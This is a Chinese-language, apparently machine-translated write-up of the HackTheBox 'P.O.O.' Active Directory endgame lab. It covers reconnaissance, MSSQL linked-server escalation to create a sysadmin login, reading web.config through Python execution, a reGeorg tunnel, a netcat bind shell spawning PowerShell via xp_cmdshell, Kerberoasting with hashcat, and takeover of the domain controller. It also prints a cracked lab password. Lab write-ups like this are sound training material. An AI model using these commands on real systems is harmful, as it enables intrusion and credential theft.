HackTheBox残局。通过实验室的专业进攻行动。Pentest活动目录

图片

在本文中,我们将不仅分析汽车的通道,而且还将分析HackTheBox网站上的整个微型实验室的通道

如描述中所述,POO旨在测试小型Active Directory环境中所有攻击阶段的技能。目标是在收集5个标志的同时,破坏可用的主机,增加特权,并最终破坏整个域。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与知道信息安全领域知识的人进入专用网络:)

组织信息
, , Telegram . , , .

. , - , .

介绍


这个残局包括两台机器,并包含5个标志。

图片

还提供了可用主机的描述和地址。

图片

让我们开始吧!

侦察标志


这台机器的IP地址为10.13.38.11,我将其添加到/ etc / hosts中。
10.13.38.11 poo.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A poo.htb -p80,1433

图片

因此,我们有IIS和MSSQL。在这种情况下,我们将找出域和计算机的真实DNS名称。在Web服务器上,IIS主页欢迎我们。

图片

让我们浏览目录。我为此使用了gobuster。在参数中,我们指示流128(-t),URL(-u),字典(-w)和我们感兴趣的扩展(-x)的数量。

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

图片

因此,我们具有对/ admin目录的HTTP身份验证,以及可用的桌面服务存储库文件.DS_Store。 .DS_Store-这些文件存储文件夹的用户设置,例如文件列表,图标的位置,选定的背景图像。这样的文件可能会落入Web开发人员的Web服务器目录中。因此,我们获得有关目录内容的信息。您可以为此使用DS_Store搜寻器

python3 dsstore_crawler.py -i http://poo.htb/

图片

我们得到目录的内容。这里最有趣的是/ dev目录,从中可以看到两个分支中的源文件和db文件。但是,如果服务容易受到IIS ShortName的影响,我们可以在文件和目录名称的前6个字符。要检查此漏洞,请使用IIS短名称扫描程序

图片

然后我们转到一个以“ poo_co”开头的文本文件。不知道下一步该怎么做,我只是从目录字典中选择了所有以“ co”开头的单词。

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

并通过wfuzz进行迭代。

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

图片

我们找到正确的词!我们查看此文件,保存凭据(根据DBNAME参数判断,它们来自MSSQL)。

图片

我们交出国旗,并且前进20%。

图片

flag旗


我们连接到MSSQL,我使用DBeaver。

图片

我们在此数据库中找不到任何有趣的东西,让我们创建一个SQL编辑器并检查用户是什么。

SELECT name FROM master..syslogins;

图片

我们有两个用户。让我们检查一下我们的特权。

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

图片

因此,没有特权。让我们看看相关的服务器,关于我在这里详细介绍的这项技术

SELECT * FROM master..sysservers;

图片

因此,我们找到了另一个SQL Server。让我们使用openquery()检查该服务器上命令的执行情况。

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');

图片

我们甚至可以构建查询树。

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');

事实是,当我们执行对链接服务器的请求时,该请求是在另一个用户的上下文中执行的!让我们看看在链接服务器上工作的是哪个用户。

SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

图片

现在,让我们看看从链接服务器到我们服务器的请求是在什么情况下执行的!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

图片

因此,这是DBO上下文,应具有所有特权。如果来自链接服务器的请求,让我们检查特权。

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

图片

如您所见,我们拥有所有特权!让我们以这种方式创建我们的管理员。但是他们不允许通过openquery进行操作,而是通过EXECUTE AT进行操作。

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

现在,我们已连接到新用户的凭据,我们将观察新的标志数据库。

图片

我们移交该标志并继续前进。

图片

回溯标志


我们将使用MSSQL获取外壳程序,而我从impacket包中使用mssqlclient。

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

图片

我们需要获取密码,而我们已经遇到的第一件事就是该站点。因此,我们需要一个Web服务器配置(不可能抛出一个方便的外壳,显然防火墙正在工作)。

图片

但是访问被拒绝。尽管我们可以从MSSQL读取文件,但是您只需要知道配置了哪些编程语言即可。然后在MSSQL目录中找出什么是Python。

图片

然后读取web.config文件没有问题。

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

图片

找到找到的凭据后,转到/ admin并选择该标志。

图片

图片

平滑标志


实际上,使用防火墙会带来一些不便,但是从网络设置来看,我们注意到还使用了IPv6穿孔!

图片

将此地址添加到/ etc / hosts。
dead:babe::1001 poo6.htb
让我们再次扫描主机,但使用IPv6。

图片

并且通过IPv6,可以使用WinRM服务。连接找到的凭据。

图片

桌面上有一个标志,我们将其移交给我们。

图片

P00标志


使用Winpeas在主机上侦察后,我们发现没有什么特别的。然后决定再次寻找凭证(我也写了一篇有关该主题的文章)。但是我没有设法通过WinRM从系统中获得所有SPN。

setspn.exe -T intranet.poo -Q */*

图片

让我们通过MSSQL执行命令。

图片

通过这种方式,我们获得了用户p00_hr和p00_adm的SPN,这意味着它们很容易受到诸如Kerberoasting之类的攻击的攻击。简而言之,我们可以获取其密码的哈希值。

首先,您需要代表MSSQL用户获得一个稳定的shell。但是由于访问受限,我们只能通过端口80和1433访问主机。但是可以通过端口80传输流量!为此,我们使用以下应用程序。将tunnel.aspx文件下载到Web服务器的主目录-C:\ inetpub \ wwwroot \。

图片

但是,当我们尝试访问它时,会收到错误404。这意味着* .aspx文件未执行。为了使具有这些扩展名的文件开始执行,请按照以下步骤安装ASP.NET 4.5。

dism /online /enable-feature /all /featurename:IIS-ASPNET45

图片

图片

现在,当访问tunnel.aspx时,我们得到的答案是一切准备就绪。

图片

让我们启动应用程序的客户端部分,该部分将处理流量中继。我们会将所有流量从端口5432重定向到服务器。

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

图片

我们使用代理链通过代理将流量发送到任何应用程序。将此代理添加到配置文件/etc/proxychains.conf。

图片

现在,我们将netcat程序上载到服务器,借助它我们将创建一个稳定的绑定外壳,并使用Invoke-Kerberoast脚本进行Kerberoasting攻击。

图片

现在,通过MSSQL,我们启动侦听器。

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

图片

并通过我们的代理连接。

proxychains rlwrap nc poo.htb 4321

图片

让我们得到哈希值。

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

图片

接下来,您需要对这些哈希进行排序。由于rockyou词典中没有密码数据,因此我使用了Seclists提供的所有密码字典。对于搜索,我们使用hashcat。

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

而且,我们在字典dutch_passwordlist.txt中找到了两个密码,在Keyboard-Combinations.txt中找到了两个密码。

图片

图片

因此,我们有三个用户,请转到域控制器。首先我们找出他的地址。

图片

好的,我们找到了域控制器的IP地址。让我们找出域中的所有用户,以及其中哪些是管理员。要下载脚本以获得信息PowerView.ps1。然后通过使用-s参数中的脚本指定目录来使用evil-winrm连接。然后只需加载PowerView脚本。

图片

现在,我们可以使用其所有功能。用户p00_adm看起来像是特权用户,因此我们将在他的上下文中工作。为此用户创建一个PSCredential对象。

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

现在,所有我们指定了Creds的Powershell命令都将代表p00_adm执行。让我们列出用户和AdminCount属性。

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

图片

因此,我们的用户确实享有特权。让我们看一下组成它的组。

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

图片

我们确认该用户是域管理员。这使他有权远程登录到域控制器。让我们尝试使用隧道通过WinRM输入。当我使用邪恶的Winrm时,reGeorg产生的错误使我感到困惑。

图片

然后,我们将使用另一个更简单的脚本连接到WinRM。打开并更改连接参数。

图片

我们正在尝试连接,并且我们处于系统中。

图片

但是没有标志。然后查看用户并检查桌面。

图片

在mr3ks,我们找到了标志,并且实验室100%通过了检查。

图片

就这样。作为反馈,请评论您是否从本文中学到了什么,以及它是否对您有用。

您可以通过电报加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

All Articles